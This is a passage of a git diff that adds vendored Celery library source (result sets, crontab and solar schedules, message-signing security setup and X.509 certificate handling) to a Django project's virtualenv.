iter_native(self, timeout=None, interval=0.5, no_ack=True, + on_message=None, on_interval=None): + """Backend optimized version of :meth:`iterate`. + + .. versionadded:: 2.2 + + Note that this does not support collecting the results + for different task types using different backends. + + This is currently only supported by the amqp, Redis and cache + result backends. + """ + return self.backend.iter_native( + self, + timeout=timeout, interval=interval, no_ack=no_ack, + on_message=on_message, on_interval=on_interval, + ) + + def join_native(self, timeout=None, propagate=True, + interval=0.5, callback=None, no_ack=True, + on_message=None, on_interval=None, + disable_sync_subtasks=True): + """Backend optimized version of :meth:`join`. + + .. versionadded:: 2.2 + + Note that this does not support collecting the results + for different task types using different backends. + + This is currently only supported by the amqp, Redis and cache + result backends. + """ + if disable_sync_subtasks: + assert_will_not_block() + order_index = None if callback else { + result.id: i for i, result in enumerate(self.results) + } + acc = None if callback else [None for _ in range(len(self))] + for task_id, meta in self.iter_native(timeout, interval, no_ack, + on_message, on_interval): + if isinstance(meta, list): + value = [] + for children_result in meta: + value.append(children_result.get()) + else: + value = meta['result'] + if propagate and meta['status'] in states.PROPAGATE_STATES: + raise value + if callback: + callback(task_id, value) + else: + acc[order_index[task_id]] = value + return acc + + def _iter_meta(self, **kwargs): + return (meta for _, meta in self.backend.get_many( + {r.id for r in self.results}, max_iterations=1, **kwargs + )) + + def _failed_join_report(self): + return (res for res in self.results + if res.backend.is_cached(res.id) and + res.state in states.PROPAGATE_STATES) + + def __len__(self): + return len(self.results) + + def __eq__(self, other): + if isinstance(other, ResultSet): + return other.results == self.results + return NotImplemented + + def __ne__(self, other): + res = self.__eq__(other) + return True if res is NotImplemented else not res + + def __repr__(self): + return f'<{type(self).__name__}: [{", ".join(r.id for r in self.results)}]>' + + @property + def supports_native_join(self): + try: + return self.results[0].supports_native_join + except IndexError: + pass + + @property + def app(self): + if self._app is None: + self._app = (self.results[0].app if self.results else + current_app._get_current_object()) + return self._app + + @app.setter + def app(self, app): + self._app = app + + @property + def backend(self): + return self.app.backend if self.app else self.results[0].backend + + +@Thenable.register +class GroupResult(ResultSet): + """Like :class:`ResultSet`, but with an associated id. + + This type is returned by :class:`~celery.group`. + + It enables inspection of the tasks state and return values as + a single entity. + + Arguments: + id (str): The id of the group. + results (Sequence[AsyncResult]): List of result instances. + parent (ResultBase): Parent result of this group. + """ + + #: The UUID of the group. + id = None + + #: List/iterator of results in the group + results = None + + def __init__(self, id=None, results=None, parent=None, **kwargs): + self.id = id + self.parent = parent + super().__init__(results, **kwargs) + + def _on_ready(self): + self.backend.remove_pending_result(self) + super()._on_ready() + + def save(self, backend=None): + """Save group-result for later retrieval using :meth:`restore`. + + Example: + >>> def save_and_restore(result): + ... result.save() + ... result = GroupResult.restore(result.id) + """ + return (backend or self.app.backend).save_group(self.id, self) + + def delete(self, backend=None): + """Remove this result if it was previously saved.""" + (backend or self.app.backend).delete_group(self.id) + + def __reduce__(self): + return self.__class__, self.__reduce_args__() + + def __reduce_args__(self): + return self.id, self.results + + def __bool__(self): + return bool(self.id or self.results) + __nonzero__ = __bool__ # Included for Py2 backwards compatibility + + def __eq__(self, other): + if isinstance(other, GroupResult): + return ( + other.id == self.id and + other.results == self.results and + other.parent == self.parent + ) + elif isinstance(other, str): + return other == self.id + return NotImplemented + + def __ne__(self, other): + res = self.__eq__(other) + return True if res is NotImplemented else not res + + def __repr__(self): + return f'<{type(self).__name__}: {self.id} [{", ".join(r.id for r in self.results)}]>' + + def __str__(self): + """`str(self) -> self.id`.""" + return str(self.id) + + def __hash__(self): + """`hash(self) -> hash(self.id)`.""" + return hash(self.id) + + def as_tuple(self): + return ( + (self.id, self.parent and self.parent.as_tuple()), + [r.as_tuple() for r in self.results] + ) + + @property + def children(self): + return self.results + + @classmethod + def restore(cls, id, backend=None, app=None): + """Restore previously saved group result.""" + app = app or ( + cls.app if not isinstance(cls.app, property) else current_app + ) + backend = backend or app.backend + return backend.restore_group(id) + + +@Thenable.register +class EagerResult(AsyncResult): + """Result that we know has already been executed.""" + + def __init__(self, id, ret_value, state, traceback=None): + # pylint: disable=super-init-not-called + # XXX should really not be inheriting from AsyncResult + self.id = id + self._result = ret_value + self._state = state + self._traceback = traceback + self.on_ready = promise() + self.on_ready(self) + + def then(self, callback, on_error=None, weak=False): + return self.on_ready.then(callback, on_error) + + def _get_task_meta(self): + return self._cache + + def __reduce__(self): + return self.__class__, self.__reduce_args__() + + def __reduce_args__(self): + return (self.id, self._result, self._state, self._traceback) + + def __copy__(self): + cls, args = self.__reduce__() + return cls(*args) + + def ready(self): + return True + + def get(self, timeout=None, propagate=True, + disable_sync_subtasks=True, **kwargs): + if disable_sync_subtasks: + assert_will_not_block() + + if self.successful(): + return self.result + elif self.state in states.PROPAGATE_STATES: + if propagate: + raise self.result if isinstance( + self.result, Exception) else Exception(self.result) + return self.result + wait = get # XXX Compat (remove 5.0) + + def forget(self): + pass + + def revoke(self, *args, **kwargs): + self._state = states.REVOKED + + def __repr__(self): + return f'' + + @property + def _cache(self): + return { + 'task_id': self.id, + 'result': self._result, + 'status': self._state, + 'traceback': self._traceback, + } + + @property + def result(self): + """The tasks return value.""" + return self._result + + @property + def state(self): + """The tasks state.""" + return self._state + status = state + + @property + def traceback(self): + """The traceback if the task failed.""" + return self._traceback + + @property + def supports_native_join(self): + return False + + +def result_from_tuple(r, app=None): + """Deserialize result from tuple.""" + # earlier backends may just pickle, so check if + # result is already prepared. + app = app_or_default(app) + Result = app.AsyncResult + if not isinstance(r, ResultBase): + res, nodes = r + id, parent = res if isinstance(res, (list, tuple)) else (res, None) + if parent: + parent = result_from_tuple(parent, app) + + if nodes is not None: + return app.GroupResult( + id, [result_from_tuple(child, app) for child in nodes], + parent=parent, + ) + + return Result(id, parent=parent) + return r diff --git a/django_lottopy/lib/python3.10/site-packages/celery/schedules.py b/django_lottopy/lib/python3.10/site-packages/celery/schedules.py new file mode 100644 index 00000000..3731b747 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/schedules.py @@ -0,0 +1,835 @@ +"""Schedules define the intervals at which periodic tasks run.""" + +import numbers +import re +from bisect import bisect, bisect_left +from collections import namedtuple +from collections.abc import Iterable +from datetime import datetime, timedelta + +from kombu.utils.objects import cached_property + +from . import current_app +from .utils.collections import AttributeDict +from .utils.time import (ffwd, humanize_seconds, localize, maybe_make_aware, + maybe_timedelta, remaining, timezone, weekday) + +__all__ = ( + 'ParseException', 'schedule', 'crontab', 'crontab_parser', + 'maybe_schedule', 'solar', +) + +schedstate = namedtuple('schedstate', ('is_due', 'next')) + +CRON_PATTERN_INVALID = """\ +Invalid crontab pattern. Valid range is {min}-{max}. \ +'{value}' was found.\ +""" + +CRON_INVALID_TYPE = """\ +Argument cronspec needs to be of any of the following types: \ +int, str, or an iterable type. {type!r} was given.\ +""" + +CRON_REPR = """\ +\ +""" + +SOLAR_INVALID_LATITUDE = """\ +Argument latitude {lat} is invalid, must be between -90 and 90.\ +""" + +SOLAR_INVALID_LONGITUDE = """\ +Argument longitude {lon} is invalid, must be between -180 and 180.\ +""" + +SOLAR_INVALID_EVENT = """\ +Argument event "{event}" is invalid, must be one of {all_events}.\ +""" + + +def cronfield(s): + return '*' if s is None else s + + +class ParseException(Exception): + """Raised by :class:`crontab_parser` when the input can't be parsed.""" + + +class BaseSchedule: + + def __init__(self, nowfun=None, app=None): + self.nowfun = nowfun + self._app = app + + def now(self): + return (self.nowfun or self.app.now)() + + def remaining_estimate(self, last_run_at): + raise NotImplementedError() + + def is_due(self, last_run_at): + raise NotImplementedError() + + def maybe_make_aware(self, dt): + return maybe_make_aware(dt, self.tz) + + @property + def app(self): + return self._app or current_app._get_current_object() + + @app.setter + def app(self, app): + self._app = app + + @cached_property + def tz(self): + return self.app.timezone + + @cached_property + def utc_enabled(self): + return self.app.conf.enable_utc + + def to_local(self, dt): + if not self.utc_enabled: + return timezone.to_local_fallback(dt) + return dt + + def __eq__(self, other): + if isinstance(other, BaseSchedule): + return other.nowfun == self.nowfun + return NotImplemented + + +class schedule(BaseSchedule): + """Schedule for periodic task. + + Arguments: + run_every (float, ~datetime.timedelta): Time interval. + relative (bool): If set to True the run time will be rounded to the + resolution of the interval. + nowfun (Callable): Function returning the current date and time + (:class:`~datetime.datetime`). + app (Celery): Celery app instance. + """ + + relative = False + + def __init__(self, run_every=None, relative=False, nowfun=None, app=None): + self.run_every = maybe_timedelta(run_every) + self.relative = relative + super().__init__(nowfun=nowfun, app=app) + + def remaining_estimate(self, last_run_at): + return remaining( + self.maybe_make_aware(last_run_at), self.run_every, + self.maybe_make_aware(self.now()), self.relative, + ) + + def is_due(self, last_run_at): + """Return tuple of ``(is_due, next_time_to_check)``. + + Notes: + - next time to check is in seconds. + + - ``(True, 20)``, means the task should be run now, and the next + time to check is in 20 seconds. + + - ``(False, 12.3)``, means the task is not due, but that the + scheduler should check again in 12.3 seconds. + + The next time to check is used to save energy/CPU cycles, + it does not need to be accurate but will influence the precision + of your schedule. You must also keep in mind + the value of :setting:`beat_max_loop_interval`, + that decides the maximum number of seconds the scheduler can + sleep between re-checking the periodic task intervals. So if you + have a task that changes schedule at run-time then your next_run_at + check will decide how long it will take before a change to the + schedule takes effect. The max loop interval takes precedence + over the next check at value returned. + + .. admonition:: Scheduler max interval variance + + The default max loop interval may vary for different schedulers. + For the default scheduler the value is 5 minutes, but for example + the :pypi:`django-celery-beat` database scheduler the value + is 5 seconds. + """ + last_run_at = self.maybe_make_aware(last_run_at) + rem_delta = self.remaining_estimate(last_run_at) + remaining_s = max(rem_delta.total_seconds(), 0) + if remaining_s == 0: + return schedstate(is_due=True, next=self.seconds) + return schedstate(is_due=False, next=remaining_s) + + def __repr__(self): + return f'' + + def __eq__(self, other): + if isinstance(other, schedule): + return self.run_every == other.run_every + return self.run_every == other + + def __ne__(self, other): + return not self.__eq__(other) + + def __reduce__(self): + return self.__class__, (self.run_every, self.relative, self.nowfun) + + @property + def seconds(self): + return max(self.run_every.total_seconds(), 0) + + @property + def human_seconds(self): + return humanize_seconds(self.seconds) + + +class crontab_parser: + """Parser for Crontab expressions. + + Any expression of the form 'groups' + (see BNF grammar below) is accepted and expanded to a set of numbers. + These numbers represent the units of time that the Crontab needs to + run on: + + .. code-block:: bnf + + digit :: '0'..'9' + dow :: 'a'..'z' + number :: digit+ | dow+ + steps :: number + range :: number ( '-' number ) ? + numspec :: '*' | range + expr :: numspec ( '/' steps ) ? + groups :: expr ( ',' expr ) * + + The parser is a general purpose one, useful for parsing hours, minutes and + day of week expressions. Example usage: + + .. code-block:: pycon + + >>> minutes = crontab_parser(60).parse('*/15') + [0, 15, 30, 45] + >>> hours = crontab_parser(24).parse('*/4') + [0, 4, 8, 12, 16, 20] + >>> day_of_week = crontab_parser(7).parse('*') + [0, 1, 2, 3, 4, 5, 6] + + It can also parse day of month and month of year expressions if initialized + with a minimum of 1. Example usage: + + .. code-block:: pycon + + >>> days_of_month = crontab_parser(31, 1).parse('*/3') + [1, 4, 7, 10, 13, 16, 19, 22, 25, 28, 31] + >>> months_of_year = crontab_parser(12, 1).parse('*/2') + [1, 3, 5, 7, 9, 11] + >>> months_of_year = crontab_parser(12, 1).parse('2-12/2') + [2, 4, 6, 8, 10, 12] + + The maximum possible expanded value returned is found by the formula: + + :math:`max_ + min_ - 1` + """ + + ParseException = ParseException + + _range = r'(\w+?)-(\w+)' + _steps = r'/(\w+)?' + _star = r'\*' + + def __init__(self, max_=60, min_=0): + self.max_ = max_ + self.min_ = min_ + self.pats = ( + (re.compile(self._range + self._steps), self._range_steps), + (re.compile(self._range), self._expand_range), + (re.compile(self._star + self._steps), self._star_steps), + (re.compile('^' + self._star + '$'), self._expand_star), + ) + + def parse(self, spec): + acc = set() + for part in spec.split(','): + if not part: + raise self.ParseException('empty part') + acc |= set(self._parse_part(part)) + return acc + + def _parse_part(self, part): + for regex, handler in self.pats: + m = regex.match(part) + if m: + return handler(m.groups()) + return self._expand_range((part,)) + + def _expand_range(self, toks): + fr = self._expand_number(toks[0]) + if len(toks) > 1: + to = self._expand_number(toks[1]) + if to < fr: # Wrap around max_ if necessary + return (list(range(fr, self.min_ + self.max_)) + + list(range(self.min_, to + 1))) + return list(range(fr, to + 1)) + return [fr] + + def _range_steps(self, toks): + if len(toks) != 3 or not toks[2]: + raise self.ParseException('empty filter') + return self._expand_range(toks[:2])[::int(toks[2])] + + def _star_steps(self, toks): + if not toks or not toks[0]: + raise self.ParseException('empty filter') + return self._expand_star()[::int(toks[0])] + + def _expand_star(self, *args): + return list(range(self.min_, self.max_ + self.min_)) + + def _expand_number(self, s): + if isinstance(s, str) and s[0] == '-': + raise self.ParseException('negative numbers not supported') + try: + i = int(s) + except ValueError: + try: + i = weekday(s) + except KeyError: + raise ValueError(f'Invalid weekday literal {s!r}.') + + max_val = self.min_ + self.max_ - 1 + if i > max_val: + raise ValueError( + f'Invalid end range: {i} > {max_val}.') + if i < self.min_: + raise ValueError( + f'Invalid beginning range: {i} < {self.min_}.') + + return i + + +class crontab(BaseSchedule): + """Crontab schedule. + + A Crontab can be used as the ``run_every`` value of a + periodic task entry to add :manpage:`crontab(5)`-like scheduling. + + Like a :manpage:`cron(5)`-job, you can specify units of time of when + you'd like the task to execute. It's a reasonably complete + implementation of :command:`cron`'s features, so it should provide a fair + degree of scheduling needs. + + You can specify a minute, an hour, a day of the week, a day of the + month, and/or a month in the year in any of the following formats: + + .. attribute:: minute + + - A (list of) integers from 0-59 that represent the minutes of + an hour of when execution should occur; or + - A string representing a Crontab pattern. This may get pretty + advanced, like ``minute='*/15'`` (for every quarter) or + ``minute='1,13,30-45,50-59/2'``. + + .. attribute:: hour + + - A (list of) integers from 0-23 that represent the hours of + a day of when execution should occur; or + - A string representing a Crontab pattern. This may get pretty + advanced, like ``hour='*/3'`` (for every three hours) or + ``hour='0,8-17/2'`` (at midnight, and every two hours during + office hours). + + .. attribute:: day_of_week + + - A (list of) integers from 0-6, where Sunday = 0 and Saturday = + 6, that represent the days of a week that execution should + occur. + - A string representing a Crontab pattern. This may get pretty + advanced, like ``day_of_week='mon-fri'`` (for weekdays only). + (Beware that ``day_of_week='*/2'`` does not literally mean + 'every two days', but 'every day that is divisible by two'!) + + .. attribute:: day_of_month + + - A (list of) integers from 1-31 that represents the days of the + month that execution should occur. + - A string representing a Crontab pattern. This may get pretty + advanced, such as ``day_of_month='2-30/2'`` (for every even + numbered day) or ``day_of_month='1-7,15-21'`` (for the first and + third weeks of the month). + + .. attribute:: month_of_year + + - A (list of) integers from 1-12 that represents the months of + the year during which execution can occur. + - A string representing a Crontab pattern. This may get pretty + advanced, such as ``month_of_year='*/3'`` (for the first month + of every quarter) or ``month_of_year='2-12/2'`` (for every even + numbered month). + + .. attribute:: nowfun + + Function returning the current date and time + (:class:`~datetime.datetime`). + + .. attribute:: app + + The Celery app instance. + + It's important to realize that any day on which execution should + occur must be represented by entries in all three of the day and + month attributes. For example, if ``day_of_week`` is 0 and + ``day_of_month`` is every seventh day, only months that begin + on Sunday and are also in the ``month_of_year`` attribute will have + execution events. Or, ``day_of_week`` is 1 and ``day_of_month`` + is '1-7,15-21' means every first and third Monday of every month + present in ``month_of_year``. + """ + + def __init__(self, minute='*', hour='*', day_of_week='*', + day_of_month='*', month_of_year='*', **kwargs): + self._orig_minute = cronfield(minute) + self._orig_hour = cronfield(hour) + self._orig_day_of_week = cronfield(day_of_week) + self._orig_day_of_month = cronfield(day_of_month) + self._orig_month_of_year = cronfield(month_of_year) + self._orig_kwargs = kwargs + self.hour = self._expand_cronspec(hour, 24) + self.minute = self._expand_cronspec(minute, 60) + self.day_of_week = self._expand_cronspec(day_of_week, 7) + self.day_of_month = self._expand_cronspec(day_of_month, 31, 1) + self.month_of_year = self._expand_cronspec(month_of_year, 12, 1) + super().__init__(**kwargs) + + @staticmethod + def _expand_cronspec(cronspec, max_, min_=0): + """Expand cron specification. + + Takes the given cronspec argument in one of the forms: + + .. code-block:: text + + int (like 7) + str (like '3-5,*/15', '*', or 'monday') + set (like {0,15,30,45} + list (like [8-17]) + + And convert it to an (expanded) set representing all time unit + values on which the Crontab triggers. Only in case of the base + type being :class:`str`, parsing occurs. (It's fast and + happens only once for each Crontab instance, so there's no + significant performance overhead involved.) + + For the other base types, merely Python type conversions happen. + + The argument ``max_`` is needed to determine the expansion of + ``*`` and ranges. The argument ``min_`` is needed to determine + the expansion of ``*`` and ranges for 1-based cronspecs, such as + day of month or month of year. The default is sufficient for minute, + hour, and day of week. + """ + if isinstance(cronspec, numbers.Integral): + result = {cronspec} + elif isinstance(cronspec, str): + result = crontab_parser(max_, min_).parse(cronspec) + elif isinstance(cronspec, set): + result = cronspec + elif isinstance(cronspec, Iterable): + result = set(cronspec) + else: + raise TypeError(CRON_INVALID_TYPE.format(type=type(cronspec))) + + # assure the result does not preceed the min or exceed the max + for number in result: + if number >= max_ + min_ or number < min_: + raise ValueError(CRON_PATTERN_INVALID.format( + min=min_, max=max_ - 1 + min_, value=number)) + return result + + def _delta_to_next(self, last_run_at, next_hour, next_minute): + """Find next delta. + + Takes a :class:`~datetime.datetime` of last run, next minute and hour, + and returns a :class:`~celery.utils.time.ffwd` for the next + scheduled day and time. + + Only called when ``day_of_month`` and/or ``month_of_year`` + cronspec is specified to further limit scheduled task execution. + """ + datedata = AttributeDict(year=last_run_at.year) + days_of_month = sorted(self.day_of_month) + months_of_year = sorted(self.month_of_year) + + def day_out_of_range(year, month, day): + try: + datetime(year=year, month=month, day=day) + except ValueError: + return True + return False + + def is_before_last_run(year, month, day): + return self.maybe_make_aware(datetime(year, + month, + day)) < last_run_at + + def roll_over(): + for _ in range(2000): + flag = (datedata.dom == len(days_of_month) or + day_out_of_range(datedata.year, + months_of_year[datedata.moy], + days_of_month[datedata.dom]) or + (is_before_last_run(datedata.year, + months_of_year[datedata.moy], + days_of_month[datedata.dom]))) + + if flag: + datedata.dom = 0 + datedata.moy += 1 + if datedata.moy == len(months_of_year): + datedata.moy = 0 + datedata.year += 1 + else: + break + else: + # Tried 2000 times, we're most likely in an infinite loop + raise RuntimeError('unable to rollover, ' + 'time specification is probably invalid') + + if last_run_at.month in self.month_of_year: + datedata.dom = bisect(days_of_month, last_run_at.day) + datedata.moy = bisect_left(months_of_year, last_run_at.month) + else: + datedata.dom = 0 + datedata.moy = bisect(months_of_year, last_run_at.month) + if datedata.moy == len(months_of_year): + datedata.moy = 0 + roll_over() + + while 1: + th = datetime(year=datedata.year, + month=months_of_year[datedata.moy], + day=days_of_month[datedata.dom]) + if th.isoweekday() % 7 in self.day_of_week: + break + datedata.dom += 1 + roll_over() + + return ffwd(year=datedata.year, + month=months_of_year[datedata.moy], + day=days_of_month[datedata.dom], + hour=next_hour, + minute=next_minute, + second=0, + microsecond=0) + + def __repr__(self): + return CRON_REPR.format(self) + + def __reduce__(self): + return (self.__class__, (self._orig_minute, + self._orig_hour, + self._orig_day_of_week, + self._orig_day_of_month, + self._orig_month_of_year), self._orig_kwargs) + + def __setstate__(self, state): + # Calling super's init because the kwargs aren't necessarily passed in + # the same form as they are stored by the superclass + super().__init__(**state) + + def remaining_delta(self, last_run_at, tz=None, ffwd=ffwd): + # pylint: disable=redefined-outer-name + # caching global ffwd + tz = tz or self.tz + last_run_at = self.maybe_make_aware(last_run_at) + now = self.maybe_make_aware(self.now()) + dow_num = last_run_at.isoweekday() % 7 # Sunday is day 0, not day 7 + + execute_this_date = ( + last_run_at.month in self.month_of_year and + last_run_at.day in self.day_of_month and + dow_num in self.day_of_week + ) + + execute_this_hour = ( + execute_this_date and + last_run_at.day == now.day and + last_run_at.month == now.month and + last_run_at.year == now.year and + last_run_at.hour in self.hour and + last_run_at.minute < max(self.minute) + ) + + if execute_this_hour: + next_minute = min(minute for minute in self.minute + if minute > last_run_at.minute) + delta = ffwd(minute=next_minute, second=0, microsecond=0) + else: + next_minute = min(self.minute) + execute_today = (execute_this_date and + last_run_at.hour < max(self.hour)) + + if execute_today: + next_hour = min(hour for hour in self.hour + if hour > last_run_at.hour) + delta = ffwd(hour=next_hour, minute=next_minute, + second=0, microsecond=0) + else: + next_hour = min(self.hour) + all_dom_moy = (self._orig_day_of_month == '*' and + self._orig_month_of_year == '*') + if all_dom_moy: + next_day = min([day for day in self.day_of_week + if day > dow_num] or self.day_of_week) + add_week = next_day == dow_num + + delta = ffwd( + weeks=add_week and 1 or 0, + weekday=(next_day - 1) % 7, + hour=next_hour, + minute=next_minute, + second=0, + microsecond=0, + ) + else: + delta = self._delta_to_next(last_run_at, + next_hour, next_minute) + return self.to_local(last_run_at), delta, self.to_local(now) + + def remaining_estimate(self, last_run_at, ffwd=ffwd): + """Estimate of next run time. + + Returns when the periodic task should run next as a + :class:`~datetime.timedelta`. + """ + # pylint: disable=redefined-outer-name + # caching global ffwd + return remaining(*self.remaining_delta(last_run_at, ffwd=ffwd)) + + def is_due(self, last_run_at): + """Return tuple of ``(is_due, next_time_to_run)``. + + Note: + Next time to run is in seconds. + + SeeAlso: + :meth:`celery.schedules.schedule.is_due` for more information. + """ + rem_delta = self.remaining_estimate(last_run_at) + rem = max(rem_delta.total_seconds(), 0) + due = rem == 0 + if due: + rem_delta = self.remaining_estimate(self.now()) + rem = max(rem_delta.total_seconds(), 0) + return schedstate(due, rem) + + def __eq__(self, other): + if isinstance(other, crontab): + return ( + other.month_of_year == self.month_of_year and + other.day_of_month == self.day_of_month and + other.day_of_week == self.day_of_week and + other.hour == self.hour and + other.minute == self.minute and + super().__eq__(other) + ) + return NotImplemented + + def __ne__(self, other): + res = self.__eq__(other) + if res is NotImplemented: + return True + return not res + + +def maybe_schedule(s, relative=False, app=None): + """Return schedule from number, timedelta, or actual schedule.""" + if s is not None: + if isinstance(s, numbers.Number): + s = timedelta(seconds=s) + if isinstance(s, timedelta): + return schedule(s, relative, app=app) + else: + s.app = app + return s + + +class solar(BaseSchedule): + """Solar event. + + A solar event can be used as the ``run_every`` value of a + periodic task entry to schedule based on certain solar events. + + Notes: + + Available event valus are: + + - ``dawn_astronomical`` + - ``dawn_nautical`` + - ``dawn_civil`` + - ``sunrise`` + - ``solar_noon`` + - ``sunset`` + - ``dusk_civil`` + - ``dusk_nautical`` + - ``dusk_astronomical`` + + Arguments: + event (str): Solar event that triggers this task. + See note for available values. + lat (int): The latitude of the observer. + lon (int): The longitude of the observer. + nowfun (Callable): Function returning the current date and time + as a class:`~datetime.datetime`. + app (Celery): Celery app instance. + """ + + _all_events = { + 'dawn_astronomical', + 'dawn_nautical', + 'dawn_civil', + 'sunrise', + 'solar_noon', + 'sunset', + 'dusk_civil', + 'dusk_nautical', + 'dusk_astronomical', + } + _horizons = { + 'dawn_astronomical': '-18', + 'dawn_nautical': '-12', + 'dawn_civil': '-6', + 'sunrise': '-0:34', + 'solar_noon': '0', + 'sunset': '-0:34', + 'dusk_civil': '-6', + 'dusk_nautical': '-12', + 'dusk_astronomical': '18', + } + _methods = { + 'dawn_astronomical': 'next_rising', + 'dawn_nautical': 'next_rising', + 'dawn_civil': 'next_rising', + 'sunrise': 'next_rising', + 'solar_noon': 'next_transit', + 'sunset': 'next_setting', + 'dusk_civil': 'next_setting', + 'dusk_nautical': 'next_setting', + 'dusk_astronomical': 'next_setting', + } + _use_center_l = { + 'dawn_astronomical': True, + 'dawn_nautical': True, + 'dawn_civil': True, + 'sunrise': False, + 'solar_noon': False, + 'sunset': False, + 'dusk_civil': True, + 'dusk_nautical': True, + 'dusk_astronomical': True, + } + + def __init__(self, event, lat, lon, **kwargs): + self.ephem = __import__('ephem') + self.event = event + self.lat = lat + self.lon = lon + super().__init__(**kwargs) + + if event not in self._all_events: + raise ValueError(SOLAR_INVALID_EVENT.format( + event=event, all_events=', '.join(sorted(self._all_events)), + )) + if lat < -90 or lat > 90: + raise ValueError(SOLAR_INVALID_LATITUDE.format(lat=lat)) + if lon < -180 or lon > 180: + raise ValueError(SOLAR_INVALID_LONGITUDE.format(lon=lon)) + + cal = self.ephem.Observer() + cal.lat = str(lat) + cal.lon = str(lon) + cal.elev = 0 + cal.horizon = self._horizons[event] + cal.pressure = 0 + self.cal = cal + + self.method = self._methods[event] + self.use_center = self._use_center_l[event] + + def __reduce__(self): + return self.__class__, (self.event, self.lat, self.lon) + + def __repr__(self): + return ''.format( + self.event, self.lat, self.lon, + ) + + def remaining_estimate(self, last_run_at): + """Return estimate of next time to run. + + Returns: + ~datetime.timedelta: when the periodic task should + run next, or if it shouldn't run today (e.g., the sun does + not rise today), returns the time when the next check + should take place. + """ + last_run_at = self.maybe_make_aware(last_run_at) + last_run_at_utc = localize(last_run_at, timezone.utc) + self.cal.date = last_run_at_utc + try: + if self.use_center: + next_utc = getattr(self.cal, self.method)( + self.ephem.Sun(), + start=last_run_at_utc, use_center=self.use_center + ) + else: + next_utc = getattr(self.cal, self.method)( + self.ephem.Sun(), start=last_run_at_utc + ) + + except self.ephem.CircumpolarError: # pragma: no cover + # Sun won't rise/set today. Check again tomorrow + # (specifically, after the next anti-transit). + next_utc = ( + self.cal.next_antitransit(self.ephem.Sun()) + + timedelta(minutes=1) + ) + next = self.maybe_make_aware(next_utc.datetime()) + now = self.maybe_make_aware(self.now()) + delta = next - now + return delta + + def is_due(self, last_run_at): + """Return tuple of ``(is_due, next_time_to_run)``. + + Note: + next time to run is in seconds. + + See Also: + :meth:`celery.schedules.schedule.is_due` for more information. + """ + rem_delta = self.remaining_estimate(last_run_at) + rem = max(rem_delta.total_seconds(), 0) + due = rem == 0 + if due: + rem_delta = self.remaining_estimate(self.now()) + rem = max(rem_delta.total_seconds(), 0) + return schedstate(due, rem) + + def __eq__(self, other): + if isinstance(other, solar): + return ( + other.event == self.event and + other.lat == self.lat and + other.lon == self.lon + ) + return NotImplemented + + def __ne__(self, other): + res = self.__eq__(other) + if res is NotImplemented: + return True + return not res diff --git a/django_lottopy/lib/python3.10/site-packages/celery/security/__init__.py b/django_lottopy/lib/python3.10/site-packages/celery/security/__init__.py new file mode 100644 index 00000000..26237856 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/security/__init__.py @@ -0,0 +1,74 @@ +"""Message Signing Serializer.""" +from kombu.serialization import \ + disable_insecure_serializers as _disable_insecure_serializers +from kombu.serialization import registry + +from celery.exceptions import ImproperlyConfigured + +from .serialization import register_auth # : need cryptography first + +CRYPTOGRAPHY_NOT_INSTALLED = """\ +You need to install the cryptography library to use the auth serializer. +Please install by: + + $ pip install cryptography +""" + +SECURITY_SETTING_MISSING = """\ +Sorry, but you have to configure the + * security_key + * security_certificate, and the + * security_cert_store +configuration settings to use the auth serializer. + +Please see the configuration reference for more information. +""" + +SETTING_MISSING = """\ +You have to configure a special task serializer +for signing and verifying tasks: + * task_serializer = 'auth' + +You have to accept only tasks which are serialized with 'auth'. +There is no point in signing messages if they are not verified. + * accept_content = ['auth'] +""" + +__all__ = ('setup_security',) + +try: + import cryptography # noqa +except ImportError: + raise ImproperlyConfigured(CRYPTOGRAPHY_NOT_INSTALLED) + + +def setup_security(allowed_serializers=None, key=None, cert=None, store=None, + digest=None, serializer='json', app=None): + """See :meth:`@Celery.setup_security`.""" + if app is None: + from celery import current_app + app = current_app._get_current_object() + + _disable_insecure_serializers(allowed_serializers) + + # check conf for sane security settings + conf = app.conf + if conf.task_serializer != 'auth' or conf.accept_content != ['auth']: + raise ImproperlyConfigured(SETTING_MISSING) + + key = key or conf.security_key + cert = cert or conf.security_certificate + store = store or conf.security_cert_store + digest = digest or conf.security_digest + + if not (key and cert and store): + raise ImproperlyConfigured(SECURITY_SETTING_MISSING) + + with open(key) as kf: + with open(cert) as cf: + register_auth(kf.read(), cf.read(), store, digest, serializer) + registry._set_default_serializer('auth') + + +def disable_untrusted_serializers(whitelist=None): + _disable_insecure_serializers(allowed=whitelist) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/security/certificate.py b/django_lottopy/lib/python3.10/site-packages/celery/security/certificate.py new file mode 100644 index 00000000..0c31bb79 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/security/certificate.py @@ -0,0 +1,97 @@ +"""X.509 certificates.""" +import datetime +import glob +import os + +from cryptography.hazmat.backends import default_backend +from cryptography.hazmat.primitives.asymmetric import padding +from cryptography.x509 import load_pem_x509_certificate +from kombu.utils.encoding import bytes_to_str, ensure_bytes + +from celery.exceptions import SecurityError + +from .utils import reraise_errors + +__all__ = ('Certificate', 'CertStore', 'FSCertStore') + + +class Certificate: + """X.509 certificate.""" + + def __init__(self, cert): + with reraise_errors( + 'Invalid certificate: {0!r}', errors=(ValueError,) + ): + self._cert = load_pem_x509_certificate( + ensure_bytes(cert), backend=default_backend()) + + def has_expired(self): + """Check if the certificate has expired.""" + return datetime.datetime.utcnow() >= self._cert.not_valid_after + + def get_pubkey(self): + """Get public key from certificate.""" + return self._cert.public_key() + + def get_serial_number(self): + """Return the serial number in the certificate.""" + return self._cert.serial_number + + def get_issuer(self): + """Return issuer (CA) as a string.""" + return ' '.join(x.value for x in self._cert.issuer) + + def get_id(self): + """Serial number/issuer pair uniquely identifies a certificate.""" + return f'{self.get_issuer()} {self.get_serial_number()}' + + def verify(self, data, signature, digest): + """Verify signature for string containing data.""" + with reraise_errors('Bad signature: {0!r}'): + + padd = padding.PSS( + mgf=padding.MGF1(digest), + salt_length=padding.PSS.MAX_LENGTH) + + self.get_pubkey().verify(signature, + ensure_bytes(data), padd, digest) + + +class CertStore: + """Base class for certificate stores.""" + + def __init__(self): + self._certs = {} + + def itercerts(self): + """Return certificate iterator.""" + yield from self._certs.values() + + def __getitem__(self, id): + """Get certificate by id.""" + try: + return self._certs[bytes_to_str(id)] + except KeyError: + raise SecurityError(f'Unknown certificate: {id!r}') + + def add_cert(self, cert): + cert_id = bytes_to_str(cert.get_id()) + if cert_id in self._certs: + raise 